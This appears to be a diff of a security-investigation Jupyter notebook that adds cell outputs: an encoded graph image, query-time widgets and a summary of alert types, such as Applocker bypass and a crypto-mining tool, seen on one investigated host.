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+ "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "# Draw the graph using Networkx/Matplotlib\n", "%matplotlib inline\n", @@ -329,14 +1616,57 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 9, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:14:46.099473Z", "start_time": "2020-05-16T02:14:46.032476Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "10e235d3472e4c62a981d74dd60612b2", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "HTML(value='

Set query time boundaries

')" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "86533826195b4be6a5aecbad90e921d7", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "HBox(children=(DatePicker(value=datetime.date(2019, 2, 13), description='Origin Date'), Text(value='22:04:15',…" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "e3f0957dc0dd4676a3763b974a400324", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "VBox(children=(IntRangeSlider(value=(-5, 1), description='Time Range (day):', layout=Layout(width='80%'), max=…" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "# set the origin time to the time of our alert\n", "query_times = nbwidgets.QueryTime(units='day', origin_time=security_alert.TimeGenerated, \n", @@ -346,14 +1676,439 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 10, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:14:50.654284Z", "start_time": "2020-05-16T02:14:48.146513Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Found 7 different alert types related to this host ('MSTICALERTSWIN1')\n", + " KillChainFusionIncident, Count of alerts: 5\n", + " SCUBA_PROCESSNAMESIMILARITY, Count of alerts: 2\n", + " SCUBA_RULE_Applocker_Bypass, Count of alerts: 4\n", + " SCUBA_RULE_DigitalCurrencyMiningTool, Count of alerts: 2\n", + " SCUBA_RULE_Lowering_Security_Settings, Count of alerts: 2\n", + " SCUBA_RULE_Telegram_install, Count of alerts: 2\n", + " SuspiciousSystemProcess, Count of alerts: 2\n", + "No alerts for account entity 'MSTICAlertsWin1\\MSTICAdmin'\n", + "No alerts for process entity 'c:\\w!ndows\\system32\\suchost.exe'\n" + ] + }, + { + "data": { + "text/html": [ + 